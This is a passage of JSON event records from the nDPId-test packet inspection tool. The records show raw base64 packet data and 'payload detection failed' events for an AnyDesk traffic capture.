RySzOeHOnm5MkIfknOhFHkN1XIR\/Io4M31GBzKsgPZ1AVVUY2FZV66+OxtD2LwEowFndVMfYSNCNf0F4jl6V5ShnyQ\/cTFudcrXgBumfvCb0TCCS6+pnSGHNsxcx9fBE613TCMQgoVJrgz8pUqCAVRiWeyEHm04UTgBGOiIpOHStjMoBJRilMr05C0iXAtQa\/W2dRandWnO8L32JWY40FZEH2ib4e\/YoVnoI7trSM7ZxoeA2FzS262by490f+ODvvLRjlrAT8pZoKjlVw+ZJ+aJvN1ZN4vi5OUg3XBIPOE98NWtWqWVHVPCTC8sDbzCvlnaGjfvtQNgR7TkCvymGBPn\/uxYhl+int3Dp5O4XLF0KEIIBnaOR7C1qGc13FGElD7ivIZ1\/2I\/0IGc6yiBdboUBEDqkm0fufkk43bqbkE77Q4yyCehzZ8CeidUQeT4a5qjsqgqFaRpNRl\/pIZNhNUMUoa2fXGgFWxpk19XmTHh7oLLXfQj82tU6ro\/PtT4\/PQEKyGtjE6J+yTEaDhnsYnyfNBvYOdzZEzltAdkPJErDmc3PfudEOn8OlJv0+MzxcD0usB0k0jio1LhSYs48UGtwqWACoM5M5Ov3RaUW3rSFKAtaweUbw47Yx7Wv\/SaLZJeFrU1JXRd2R8BwT3L4vRaDzshp6Xmm9MHubYJGDH2QZe6XbZ7gQFE0WvIsFAzVJwVtS\/TC\/kD94JqmIWfcGRNv9LQdPDGF40t2hi\/CL9yZq0C50g5BqpMAcHZNagYWNlbsYUO3gNiA5I75M1fb30HESfCVJvTNMIY4FHoxAQZ2E8Kzist1CVAAXD+xhAkgwsI5ZkPqYFv+1saUWweY0ZYp\/IjhuSj2ZM75MCGZ\/Jm6YPJADpLf0ARfprATdtc9iCGw\/ZqrG7qq1pedRuwSRzXIZFNWy\/4AhSD5S5Q9U1ZEpEcFVQv8JqiP4KjVBj+QNbgY3e3OA+YQ23MYmTZnBpA5ZBVyNoOfrWtUHXxanc5pqOcFfG"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2169,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07858{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2172,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":174860,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhhdAAIAGAADAqAG7wKgBstOUG56PM4EfWcRIvFAYIBKExAAAFwMDFXdZ4hNO+msXFoCqRTwjr6C747HMzzbgOaEr8rsGwnJz5CGJEqsUOgrHOZPrRUIUkXd0NReOW1vp+xrB+TkFaXBHyXBP33dzIxCBzTGTe1nJleIWOkvf39irjlchfEEYvdVHqlK7PDe\/xImRB97L\/b+HYaJmuddfQQVMGjAy8fWw6Uiv9Gj\/4HfcqWuo7FLO0sePxyBASPd45ylensNGVP51KiTVIbPor9ogfI67VXkOIDNsJnOdYbUnnYFvjFjoK3FFsnJ\/TSIg74c6\/WTzO7bQFE8\/8xDxBl1DBDez5RKp3GknnIr8pZj7fIPhEj0DXEHzI\/bnf5Y9lvw97Rrsx5MWtX5XdVKQgHohxwNXhdt2C8FOvGQuwINkZGFOmxfTcYcr7F7gErW5VrVoGk7XNE\/Fj5Ea5mIi5eQzf2EILLmZGGOikaY5rNcSy5TMKIq14wSrnttaWUd5Ec0QL9ypbXQiSNZsnpmlpwy2f2sjqzx0ZVheAHyY8WZT8RIauBUm4qLNobdXqKjefzK8lf3j4eKHid2xK7BAGqdZp9uzgSQHTtuLEij4FECOEe+MtFWvrBaW0\/GK8HxiLMuuTpjBt8xqHlcPhQ\/\/IC4PEzEjQn71ZHpgHo0G7CmJXC+5qsbUUIJLNxqEc5drR9BmOpJHweBcZdjCJkc5bbeLMuB37Okc\/x1cITOImxLLmdzavYh6dxVb39jRq9XHGi1KEx+1CWp2\/QJ\/wlfNmF70R\/3bHmK4Lmp+u9\/keRNPIxr6\/L+DO3xYsSeaV2oXbCe2Pn\/CGIyksPzcoyKL4gf9GnoMi\/TvT0xArGjAoQ8NbwUx+FVvUlBlNkk3YGw7tbOAAhu\/U2xZqjEVoCQCFRAvnrxu1RmfdTbMAwErzCU\/cAiQx\/a74hzxUg4Wmg3X5EHbz4yMYF7iuigX\/9kZ7lmO\/s+g6MTiJLl4H5sQTFKCD66jSOuTm8sUlJL5xGzYVbGWSYwi+9z579MDGkcNwoW8KmQbHn6SehEbQ\/6eeFqyUdkoqpK9ovHSKH8+xmJbHmYsErmJzAezEi+xNf71E8uHia94c1u90ZWDYRuyO4vTWbg\/yjDR7LeQQtXGiTjYBWW\/oAaFqd98eQ5Dw9X0o8I+\/qYLdAOTu\/0dmHBWFQQyL0YH05IM2lygmESBydE0AD57SwaT0\/SBpMe9bBwAnaB1hIgpD7MfS+t7W6ezVh+M7VY+aclQGHSMR2dTdIe+IJ3nmJpRpLJKmIFm1yjF1N5v8kiNbAkgYeUrMszzevVPZO+iZ8HW5USNTsIC+l7ai0kfVOTcv4h5kkcZnubK6FbYjEDXViWukEVHB54QN42l6dYx2AvuLW3CPOtfKJGB0k\/dR18Ttdw6eyDTnKjGJH6XSOt+IeQTlDkIrBwog\/bNg0vDVOjezUpouHm0KB4c44\/ga1QeoWQOwPAZwsUMGgcHvrO3vbsE5UGtwyLjUgzAB8hDIVF\/m+hNH2Bks8hEFx19g48HUwEG8fIPt98T8cSWyVaOodHgO5tGxgdE\/6afybXPNLibwhNCKEBc5fAl75pEmlEOJGdYWD4KwdhKrez3WV1+8AWmpSvEx\/mxHC\/TAtFduYJ7yADkUucSl8ZYhb4z6ACdsR1NAq+TRsYUE2s5x+8nvp8e9M3KM2fsFrsR1Pg5u4KVCtGjleL6SZTCKcYL34Ep8V\/S6BISWg3ow2kl8G4Z6LwmUGErIPg\/MmCdVayqDigjdHYIIBUneF2+rkGo6pzshkQEXu+tUnBbxzAMKHEUQMp19N5QHVH4QDJUqZgV+W8+qNzUe1d4+UdJES2zcDUzSj9DyMBNq6C\/ESsoA1X3\/C8k5wuPaMSCQ6Srn3ACI4J+4Au5b5z+ZpToyRqa9GUhTjzxakuKtY5d4U6v0uRQq3U1yxur1Q8MHIZGMKSIWlN+hYauK0vNRCQ82JrPjxIxtolcOcFKrmCrk6c1Jwf13m+R453Imx4lU8gvCD9o+81xh4SBnGigi3SFAjM82Ry6ciQ0Mkp37YU+CIPuRBt36XTxdOxhRLKn3Igi1inxNDJAN1UODa3IEX\/\/0v6Co5waN0gGVw8KhMMZY435be\/eVSw51xkzzigDAfiIlSGVqqEzpE8GVCo7Lji+P9uSgwvcfPuHdtABF9GX9A48IKc8qrJQC46yfb41cAliXd46FM6nhXkYltqLrFJ8S6j45ZwELLEB3ugphiHpTFjGc3rWpDcevr1UOlOz3yTGFuEHDx4wc7eUCAYY5UfV6gazhVn+aAy1JIZbvz9uvZsTQJj6cf72lBlVFNT1Kengc4sH8aHe0bg6fJ2oowjPb1s+3GDC\/Be+tBM0HcMo7zfsx85I7+hwUKQPOIJqeEDg3gGQEITN6WRgDYYfCU3QeMWpMkCGM1Chu6ncMcUHLEtL+3c6KHmcjxKK2NZvuUc\/pTBSqTqhESZqHl0wgt4vhyU5rz3gxxNArT8O7DZN0c3d5KxrAJJKi+dcbvEwVB9o\/RonYXBSgKFgd8xiBRi8\/9mn+b8Uwwyc4ti7Z3xSJ3NzYGD2mele02KxTpD2vdB9CD3M7frWy6jMKcZAwySb0nd+No1tGY5I9tC99K47DUkYpUj89THIlbJErd8HKQEmsNBXmwi7uUtkaX4ltBkODDIyjuALUTEW4KmyI05CJLjVDBUVXrsNK0EdotGfXokphypGjN5\/MaCrCO2QG62Vu93qnreIFr\/vzcmR6Z98WILtHdcW\/E6L0otBdKRo9YutXfTcuCKrNrjDCI+Hf\/doPg2Av1rlUTO7N0OPQ\/WT3lJmrvD\/f0++siFkahVtVE11njr7jRy+dwqos7bRIyPckjNFlqIC8VRF9NitAXYmhNTQZrrGAwHfp4z68hSpTJsDT4eLRPZA3gZutPMufkMzIbbz1cx4VxBTJJUyyl\/aMXAYiUiRAiqDw8xlK1vdF+qjhtbWpEq7\/1ESyATiISXrtCHRLLZE\/BeFNFNvy2IAyZhFUb84wDUs9eyfq1tjoT8KhLuGxrwLLf+LOUED\/F5uTUHjI6dc303lzdFi0k6XiaM5jMNbBwDtZaV97I8lhEAOYmV6uns4gGTPwfopVnidB450R3mtjDmbQsgIbZnnmA\/d9EcYCUmOYfxzj0shKzSxpf1xj9k4yWtK6heJlL7zYl68P+wfrn9kvr8LZPL7Lvrhw1EP5EaT0L5iN2pofoxxRqNnG2n+fkx\/DeXLrsanYXG1wmTArwUi9RjGvrbAjGHo\/U+nKBNTvcZQgXGwGBlhnWgyBb9s+ajbrkLYrNWAokHNmCEnBZJomCy4+\/CC6\/g5SsepJ83Ps19VFXp0XVK8aBj6dCi+qvlOEGB48mRArnKw6SjUtUijhbcxZByz+vlF9WrUXVW4LR4Tqn1kb9voYgHeNhzVuAKw+ba4gKseeob9Cefs1Emm6R0hClr1pyXh3iEHoyKEZVBt12D\/i0ofbYGRk13pYzCnJcKJ3Imj6IsDQ8SO2C\/5QMNPYhOdj688NYKWjLin8lTb\/xdSw8J\/wBf1CvEtRRRKO+mwi6XF6+Q7TZnyUBO9FTQ\/w59sj4Ry7\/ogKNdYlqs0awruWGjjwpU0BQfrBliAMc\/zXQz\/K4AvZZQpEaOv1m8\/tLaoydGzM\/1gXV6o2xiCobali2VOn7ewvKdSH\/vTz5obo7uRxTm9fs35lNR9xGCeT7NSiYXsZ5Vs3G2ziNX2jcWHSmkUBCwytfEXODRdwgijGF0bP1VGrfGSAGBXhFJw\/1Onap4m3Ry03b5YYgXwURSwDi+lBzqu9fbNsIVOW5RCEG83ftxoFDv4i+j7HlHi+o0M5rBGutc3zv3rmd3br3jcttx4cFCJV+KUHtSG1b\/CJtWqXc9eLKzTn355kgA\/LUuZLmGpASsde0KUeomcECzXBdzhIPQTFGJYq5QID\/TJQyKYv5aT25oZqYgCvHIwoKT6H6vJDj4U+p9\/we1gdyPX22alPa8UYP2k0iz+R8iClYwgLxw8tbYZOBqBwLREf\/SNbDf0UqIqYW3kFTIJIS\/VcHn253y8z1HqxT1T3v0T9P5EHP5M0ZvTeBM33GdEB1eWTGFAYZ2lypvVHOmknkbtOlTX9mQUz\/ORlqbnD3rpJjCa5XBI7pvG5jDsuQMWgVbo\/5dNKN6q6Kpz124gIj6fiPP5y59bGwYGldGEJOUCqf8C+j2iR9gIbq0d98wi8D260e6VveoyvkkqBojhu2t\/1279p79prUCcR5jovwPrajxXjfX8ZBzoDqLOY3Q8\/BAgrALnXLJzf2C2XxiVIMSsrYACHTWotfBDintJPXmG1CRkNuBE+648pdsuQVSV1KK4yT\/Szau\/YVD5seWJXJ8PFKzhVF\/dx4N92qmVLutaxe45l4kQx8OYs\/XMx1jKCv5umjIUWeCak4sgrFOIIfJyyzRje+D+ZVhk9+pPplYCwXkw\/RDtDbZOQ8QNuZVdK75\/Py\/ik1bCQBJQOjGSFXWCCTshJNhRIuD1mX9igHtGdsIUpgmW7A5IlB8mQLz0fRpwu8fRJm1mRZV+LlX+YM8+zw1lsLlQbL2YAXF5c2Ib71Yx1+Yl4+EVJdFqvh8eNOTro\/6D+nVUKvesSB+CT4yq\/jcdsQQXcWsr7+YWo4yEdA3sAhtelDqLJyhNPf947tYWl5f8NWouW+wmVP9xX\/BBuvvQ64gabJflQ5btCFxCJcV5Y1kwAgeOlLjl8hozhYsnp6gfZmBQ\/G0m+vN9uZhtf6NQEtf5eHtRp4DmI3h3DLSuYTAPDoyhnRxxFIzhJq8FV8d2IjwA6HmkEUXlvswByW2\/jkrQWkrCcT+oek72mEXQy7OUVzybADqO7mMDL5wp8Y5lYvh\/LHUKSXmAozn\/tYuIMgbraVEFZzIhVrV2DETh4arpxmZY55KKRNqT\/08AsL5FbzGpPAGc5J4l4d4VEOpcficagR+I\/lyCvy4TuVBhH7aIrCfXL87DSeHU1T\/3gpD04J9sNrxAkhBGi5lEZFpJJKKy30c6SbkeA5Tdx4kjhDH9BG+UxhsxODR0VGI0CLtr5NN9eaOIjV5cOplwDn6VRpxCyoIEGa11\/pqJ\/p8CpyjbUUEAfXcNKpnQYpMs7ojgAEkx\/89urWpUR2e2Nofk4iv7TIeMgDU12pY+3230NJAhNAvZG8ayk8YslaOJ9\/hQOlURULqCZdhZbmxdU7KBOKtWsDGWFaJ0fZd9vtm\/cdaCwOtrQKVs2qtzrHg3Vuv+ws50CqeGJhvONggTQc5dOkBnn7ybVWlQ7Gl\/gWY1Hg0BWuFWlTnrI6HEX11z5wsVTPPmPMWHoBZ\/r7cF7E88COPdHCFqp\/J9+gpms2VyjIFIlsv1YypGr4tBfUw4Lj5OrdakAcuGwVwImCGdzWsNjGETehT3bMk5oVgQUeoput5g7BsFzPSWHFUVtr0g7kcDRskXBknhrob5qeh\/G+lJiq3uB\/GT62Nqz0ndaX1ujVFB+crrzfCuj\/5J0cQZzmopdLffz5F3n5i3J7UnQd6Q96gkbWlQF9Vkr3VGznBOpc1jqeagW886DyOOYUmiPlRnZdz+Yc2hkMvDgeShDauO6WCECRA6P9Q0x2UhPDHQT6\/eMKxGcyQgk50ghSpWJS\/iZBf7FqO18J4\/Q\/+hwa\/qDbih1Ddc83Uy6ZOgi\/A\/CXWRzcrvfRbllyqx51w3Vct7s\/PJYBVJtSeV0P9E6AyO\/rjW\/eltacbUNYL30+BBn0QATjF0qvFKLvBcSws4NKAE6pYsk\/VAuupYGiQQarv6TbAbH3oE7+Ed\/gziO4hYrkNtfFs++mUmX6MNmu6ekMSTtxSdRIdx7apfQkO26TM71vD1khAQ5eU8Vc6FpF5ojqANPUj3aPCREsvGAT0KudwDYLHKiz898QHkDwNKWWhmf7v1X8VKuT32xw2QJ\/HWrMl+++VL1C3c9Es1ssOyI5NZuIUQpVSgBNmk+PsZfiv7Y7\/02Q+H0o2uUXxjGtWPiyM6RVlY0Rb5Jkg6PLj\/gUQfRdIiyjQS35jmd3LQeoJr\/hgRwS41uHiZSizrvFVolWr6T6IjDp+OxpXDX0vz4b76AQ+kGGItYBvPByPUwnsdW1++RYGIZdRijORykYit6EIMuQ\/mCLeY4FonA1xKLMotLx5tVfauUH1sxBgTG9bEyFRJe4L6Did2kiirnCGMeTiXvT9YS+59P9BSbJTeO+tpejCz9VLo7+iqqh\/HpUh6cLiUnO8\/JMGYadNpCox6Dq2XMpd4jY7tEqwf4w7kOa7MqLTQmZdZYKIFa9ODkJiXrfarUNx3rJbKsAakIvM5MY0VxmcbcDskh+DhDDC2dp+62KJia3okx8V14SOobmYARdeudqvTRyvXGgJ8iK+su02O6WRHJ7yK9dZ2fPE2DudonCRXytzYuz\/7i8paHixa3SyqYzqorGGEqJk+cKd1r1WCqtxV0itwu49d1o+PcG4zRQ\/T3xFErot3On5p+bEpcYKrPFatJGFek0+AE3PWt\/0dBOk1fkpE4s0zh+wGPTLfm0DIdmVVeVmGeqi4MtrETXTtf+wiGY8I6zLpE8qtw9tfgl5lCOsZHBYM7DpCeQxzAvd0lQLYdivo5RvQ++Ep8J5ct2jnXtOvG64QtnMblQNbkG36ewaUzeBVQ+HP94vj\/6qGGMO9OmYKMRzr4Vm01OEnp8m63k4W0Eix7vcHRVZmRjNL1DG\/0kn+qpcZdmLd3yPPXbtps\/bQlc2ohx\/\/3iq56eEynZ3U5tnxARTJIldPadkjVJUizEu0D4RwBTpJSerKlBGTOlTcysbb3PvyAp+u9dMU\/IWr8WEfeugD9HqckREfPHay2yaoY73JHpTSfbVshd9w7kAEq8lcHIDUEwSpguaPcG4yRHD8M6SdY4fAp6G90ViODgwT+KK8jYcgIuOyzX9Hce8N0pO1guvU6EX\/Df\/e5tUIwkbN0qc6fnh2NnbG9FpO5Dc6iagHC3VMHBYmeSUXTgizU0CdW4XXBruPIFh+kKjADDDqgd0Vvgbd8x9BnTRS1AgxGvZr+lJt3+S362SW3pj+YQh0DqUT1l84lOoxVIBTeWRdSIn8eDrimOGPWKsg7jjC+Ico4WfwzAoPvzPGofyUjc0Fj6hQe3vmeABBIS46qkaI5rGSlloDjubUiek36jc\/h86wWd2wvNIRiRCYwGEHfy\/AMV3rwC+gwFSZIBpPAE8iRI0wX7k9Pe3+z6vgHi+wCTwqLiSSkmc2zzLH1zyomk+x29zco99eqBvpDxwNJVZ9iXkFk+OKk8pcOHyEQlAejkqVPhSDfakYfuLY7pELF1wnR42Wewz1Ip+AxbUN3gpQsLpPTvleLZm7hJad6pHdGd4B0Q=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2172,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07834{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2177,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":175872,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhhxAAIAGAADAqAG7wKgBstOUG56PM5ivWcRIvFAYIBKExAAAFwMDFXlZ4hNO+msXGBPQXURuMWO6PtTAON2ylM9tNF4IXa7EV5s+6GEoiCFZZs\/W0b4YjV6Czxvc\/IEAVuRCOXcSYeIEUB90VgJEob13l80mkrgT0hHDDzHF\/bWAlUtTA7qM363MtyfNyGa\/lh6cHy1cG1UDBTAHxITbq+kSAkCKo1BvGieoBW6wIEP1\/9jXDFFSH9YBouHVI8g2N8jk83GHrkpAFAIX8q9hEFRV6LyVm1Adg+\/D8qppUlFfJxD7ov3j15uYHS5qlmCy5BNduZoUox7O9j\/rUcnVyFjX36MmI8yIc62rppr+jna1cRYA8U5jQnRbeFHqkc6i0G\/dCnk\/h4tQlOJyjkSSLUapIdqbI8YrMKiBGTybQGZIRI5dj9e4CM60yyFITokWwq6m\/9h9GDQrvms4OVwTeFecrY1sjkz2gJqRdmSd\/U77Z7mNeaUdnnawvP1kbVBE6Kf4EwBTDERu8lLMsz5nbUMmbzYkzKGVzJvzzAxz7+YndnelZVyM9StO4ZKQb+f3jVXik6e2NdSIS9XyqjKQeAOkZkV72oXGGCmnPmmq6bgNiHg\/+b5cS02qVWQ36ASH0q2hlQ1A8gFo24rG9MpEIbUffR2hoZpB3\/YZfWs+W9S82b1M6npvdRWvWvHsBQq+Rs4TdgsG3QeUb7WKD16kMDgvmfYvizY5tdxCU2nx7UvDRV51Roh5bWR2eWIQ2HIEmejRDOui4WrLQ9MXHpH8yzwxkKvDGEEF3sJkQ053Pl1SzH+mt4nOvXoVvEU1siWkZzyMBhwFMRct0AFFHFR5a8\/oxWndEnpgWEv\/yE9BoPrizY34jIdszw7GGXz1y+qn2q9B6rsYue2Tbouu\/mUqHPpFnyDwLhJhB\/FBuO0eXDulNIccvmYeVKkoGfVEWdWdlZI++c6CPpEnd6YdkA3XarHCEEtXNF\/78CAb5dX7jaJj4D3i3bKRx7+QKh539EodiDOnQgZPff0Ye6IqQLIa6HW5s58c3snsccjae925s1sp\/MeJyoHhvnRjxZfBHZ87CIzA8VbmvZUN1wpSFUC03rAWmnMM+fpYgAG008wq1cdjZVyg7sOjda9+yt7fuXYKDnAu5kH43+MahmqIQfPBM72pAy\/H16fzr8fii\/Mv+8n6Ql089BKp8FHvIFjZULS6BoDt3NuOk76ZT\/94aZpsU3F6cUcLxMgP95GhRI0lpqUCiM2WE0yBC5a43XmyinlWoCfSUHR1\/1qfeQnr0qoUiE8M7fOgVWXW23MlZ6znTKGdWYm7ISgADJSNvLaj9MIp32Uhu5yX7NcpRrZagYngVFH0PxCt5sfyanPF3vnRyYWogoHTiNX5u4MzUT2DtCvQKfQRH0z5EemVc2TOGJ83pBrjOkP7WGDjXt029OF4SWdgxi26\/KfdHtJ3BfPyX1QPAEbscUV0TfSJOTwCQFuM0sqzxURq0WnxNG7XqaFzYVPQ\/Cnv2WtDS73uvjHsuUc+nnuLQgFdEO2Iwnqi6A6MGtufsgwXaD35bPJ4hRaYkb3KqkpVfcHykrWNm2S66LP+r6acFJQhEtx\/8HpyUe3VS8yIy1WHJ2hlObq+M4lbccyeGt7DIH4rekHqwj4skfwo1LqymVUHTnnCXXzjO7PcevptElcWjlvMLeRK68bz2Fi\/1up1ZsT1y\/rOz1q7XRGudNvLnJtDSrIeJwHFWvp8lq5vsha+0xdKX0XF2RrpGC1u8OBtt6HoAEPwuvfO4ehIluY5lvwLYLOL8PjMc6qijHg1j4Sjjt6wozqGlJuv3d5UuVsPrvXGjcTAmDskzsTZypSpU0\/ABjHylJ7kQL1GVSHPCMjnt9SLBTpLberW1Ymps2Epxzws91VpoYmIfFfXSey58rGWEhSEm7tYiXYk\/52bfJvcbhsZ1qI5YY6UNnBQg9XtFaR7jluMGg3JEmevIuo38ERUzJRNVzAvYB\/cLafDSfOvmwQHlEGdih5xfaOwjINrMh4EIC7aOJW+UZP9yELdWLxClB9AsXEDkNWP6UR9+iqhMf7JAEcWtPQszvQKi38IXDo3ZCxOQr9JYM3Dws0VHVIxOWKxRl3IV0phEYapze1JY8G3Z9N2D\/2wQeLJSDgaDh0+sEddshwRr1NSXL\/5hiGFeIf4FUGoDwObtRV6xVqNTQJUMb9FVlOv0xXmYezyV4veTL+YkQxbfgDFgdPIMPULnoU89s\/cxA5tx9aF2hh0WQNl4HA6Ry6aRL8CkxCNDxJOCh\/lC9WBtbmrtIr9duhpIq7Snmv3wRtNBhH4CmxJOnbtF0lr51Wlmh7lIjNRV3vnICoRRndKpu2FaEiUYWnAhcEaNBCKOBWFfmDyjZYlIBVbQ9inv8sooLvA9aSxoE6Lcjm0Vm4OkUsQF0IALp0DupYzgxCA3tcL7EOhAGUhfPw7RgPBKja\/fhr\/YDPZJsmO61sM3zCNQFxOh7UIeYVy\/Cdd6YhrOhQF3dQOicr+hRc5U1ruHI\/k4BiDMqhDiy+kRapWtpRJazvPkaqiM3LIF8v9k7wvZWHJDy1VZYjV6Z+WlaPU4PwmLHJ7Ovux9BNTmACq0M9DcJ8VvlqLCs7KWifkNPUulGhDo5xlVs1N7IvuKJtFjudchhgYKYbJXrn6kEJW77WFGjZQYqhC+cbBZyRiDF0SEvao+V6DUxCZK3pyfZi5FOXtIBbI5x6iz2VHvIB0b1QQ8we13N5\/mIdvO9JIGO9yuy1ZhOKvXFqbs6Gvb7f3v0WOJS8zzVZse6IU9fIcO9OhKXn7vmiOrBit4jJio3Lur\/YbzvK7ZhkEVFXOgHXi5qbowM5PQHUaSv9QLpI\/TCCIy2q3laoS5BoPL1ltRynBNn7\/nPi\/bDZAh1H3q8Ak\/oPLdTpwhuc9Ts0SF6XrS3O3aNbG9z42D2M0VEFIsA+GpbHMKAPTCOuvSiBIO2m+sr\/22QpyzxizvP6CzGIc\/6opSlIjcx4ZNNp1k+bkEHox0I7f3PX\/OhQisOnpU08TL2cMPkHYFcGMjQ9\/BNUJCNuPOCXZiuisKGt38QIgrz5t7tO9BSuuHexPGkD0hM7yJjlt5BTur0I9U0LrtY1VPIJU5VqqOjhm\/qyfHkVnVSsZETtLiGrn0\/Z3LpF2LmHNghImnt\/MHjdL\/PkArYY5oZrwJs\/DggJpvtxNkD6PKHW0bwMFUgPP6xu5UbkOLSD+3a7vw7VsUKtvpKX3gUI02Va6\/QB8ymmZjx9XqabseAKYHqPEGIJXVl6Ez4bIFIV1fNbLCEs4mtxAzeXs3zE\/LnxKijK7n0uEOxNMejR5yuHwqXWhqDD4O6nvyekvgpu++UaA88w4XKLKJPgSvzuDOAYbEbZBAE7w3VNLSUMsqr2m9AkVUAmqEkYBX0D5eikpdzJaPRKAUw9qg282L2ZwxtqvT3IO9og+VTk\/kwpJTzb5fcSF+KsCneK\/f2yI6Rlj\/MSW935qyioqp5HSdQaFHPfZuwVx29EqApT6beBYuCa1H003KKYIlg2HHdvZR0QICyMBnykQzgvibAZ1cHBPoo4uT2YCt1ZuLJkr7KRiGrRO68T3Tou8YByhDHJKSKLXNOJr+Lu6dHV96W5bjqHem2dQaHrRtitzlLiwUeD\/vroy\/jhoRCmy9n+RTld6f8PpQ2zACpCXPTgLLUiF1qv2JOGN4VXT8SR4ykwcpJCva7alMNRnmFWvc0Dw79JJoMQuvqPHV8giSqEU7amU+LxZJFF7DoiIHsET0+Vj\/lsEO9Yny3ipAWlN3Uds79zgenPUT5U3Y7sz0zzjQWUcP\/vWYWty2G+PJCO1Q+GqkZ9mzdYzFTTMRluVKRyoK4sjHq8b9gE0MJNP85erG\/gWsLWHsF92S1FPrmW2Q3JLKIQmcE\/u3Lu9db9\/tHuOLG4xWN31awwTSF1OspPnS4HEzw8U\/lpRO+EKq3V9xoRdpzT5HdH5k\/E\/1sCSEGMvBagzNelpYY5jI4YWXsblAZAh\/g6MM6GZy0l8DJxEcCxefg+XYSiA\/50rDlSeiwH0pzE7G\/5tJlRMjafHRDl1lro4nCT26y8+ASWMES2s79OQ79j5oXVZKlfYlxKQDkwzxc5r0t6I750erw\/vMEhbcYvr\/zyHNH5B6qP5+st4cqM7GdBv1Gye3OBjXwvQwXccI2fDnGtXLDANy9PTg3xrJr6Jm0ZRa5kjqBAH5ciMCTdr8bCYscQiBdWgjJom68HvOqPaKqHpiZL3XtplRHSD\/slHxkpFOO9BJ6kPoXrknG1gnfJBKesmkVvub51t\/bCunowaauB+GgmE6uHatx9nPJzuxAoXg4lhzZGr7XNfxEQnqgU4djrZRrD1IRSQ26IsDBy3bOT\/FTc4t4c2Vf79uVxLlffetZ1Lqlw5WzIZLdT3PQgxlV+8c\/KlldqEXVVSD1sj8rbq221ayzcGrMiOSS0GUF+c0ySXvInTFyiBpgtT9U3JgKjUmVKajjhTPT56Bb57zbOnt+l7ZjWf9qDc7M2GgzszLR\/HX12S8faPxpSi1QxbKdOzxWCI6rE2AnrA9m3MckmpWehO80Xoe\/D204SL4Yurt\/p\/58s70CvtdFrMe6yL+BKChbI6+SjZ1k6kD1Z6TmrjARgKQjimmJcwsXeQuPdzdIbmat4ikevqsuw2nryOeLmrK\/fSnY8uVOzRBY2wLjgWaCvR2NkG6bowkEzqWJz+O1WTucmtDcKiVrzgz183VWmJcKTpsCSOFkTmMdwOUFUgC\/6PMqRn0FlfTFvJwF4Fq00yPYQOihJ8RxXJEtxTURmXUP30QvaNYoPfgY3TTeId08ki\/8CjVCbxsjsC1xtRJPPxnVEma5IS7YuDqQugVFj+z+rycQUqYrcAqGuOMt\/0TfE9FUTsEBkmmWSHQDhTnsqWGEtGuubw+hOvCA9RYy9gx0xF+3TAKOUnKhaHsA2JfQoFbAx1uBF8AWsDXqkhkBuWfD136r+4ywY\/ECIxVr\/RSJSz\/SErikImjZ5cCgLwaBZmzy6FKcCvSRY2rnhSFOuzHFPJRAsq9csEaR5y0OENfCKACEJCVyFvtS+0X5eIn7BHFfOQoL0EdVs7SPyEnw\/5t5d10\/UJXQtXC153CdSagDkqriuKbcqWHL9898vytaqq6FzToP90PTq\/S\/h0m0UWE4JJ6H8GFLXK4XBxJWJ5HB0xVhAaTMYTGabm9GRmsfuTNpr69Fc9kxCSbnR54V4\/I5hwa\/5+dYPoH752XUhmlm5zHDoJM5LojExPqJVQfL+OR9EwdfVPLiq8hoKXImJW3UC8uV6IAuuYI5gDLrq8mC1c7rHkqfMWWBg8n9LyBiZKUeOUw1RPFPgX\/iQNZouv8ThziGsJCoXYyouP8\/AqaBQj6OXs5pySRWW62jPaMAk5089YQq9ZYef5\/hNRs5E9q7bD9K8wqUkcEODlRfjZLm+G9CpqUuuhvOqT\/UXPiQcxIMkprPP9Qu0CIlP33uJfMuWCbkwFagcNsg7EMsI4lOD3pvTM6XKIpLYGyCwwKstaKL0yFtMYUJlcyub9Rk9kOYaUd5XXAiWPIJV5N2JV4XTVmgZL\/LauTkVVSIHsdUL2oF5g2fXNVvMyBCleNx5zoVC6zmqj4LRBNlesBHq1LOUnblzTpzL4e2\/\/4OT83RnVEsJ9lO1bSXNJ3P1Lh6pzHLmXERBEIJ4clV8lsPzKVimEtVZH0I2AM92aigNyM6qOzyAVUjXSs6MuJyU\/Zuoc8Cv9yOVd7XsRUBjESqzkbjq4aopXZY95GQ8BO8+lXMq0dBBcgSsEi06WQ2ElZsfxf5RGYrMvZDGFSRRLu64RgSXyaPi8ZSdaTJjabNYt1Zl5qEt2la9haj2qK98bmJDkc2GWcGrta+1ZnbDoe4KqTM0HDU2eAN3l\/vC9xj+lfNN9IsGt4BsWqYj28I0HHEMRwW2J\/uymJvjlyrIekkJ0ArQ\/cZot4Ypsc47ljBKPNvittjMlw0jw4D3uG5xBad5mHYwX81vvIqtPgISxPQCcTHx+tEJX3jwbUEtWJUKtJVIVo7LTRZ31DCtDeWmfJDvr9kjEQNCROat19mgUDvO8D1xaVb72vRQSmPeIeFfpXxxChhw5vMXBMwFcasWfGmHwxpnBVhezIPaupwhUPP5xX55cGislpa89dIVXirVn8s9AvzgETWqLLnh1J2ILqeAAeW4lxuqDE7MEWv6ei6X1J4e5Avey3+ah4A1YWY6kKno9DJ0Fgzg38HNfY3BAAeBqfrDMpGT9k7+d609hTbX91J9HM6dVzw0dOiaQGipbiR1Of+vPbjvQxpBiBT2hEVkFdVP+L6BkCgzp2zJXvN6Y71X3+uNi+osMUF4Zf1B3FV+J1caBKrutK5RA5bMMWNnP7HebU452kY+s5zG+aeU7PVJxlDnS3yIjz\/NP7iSEhIxlHMkwPpOgMgoyXH9KD\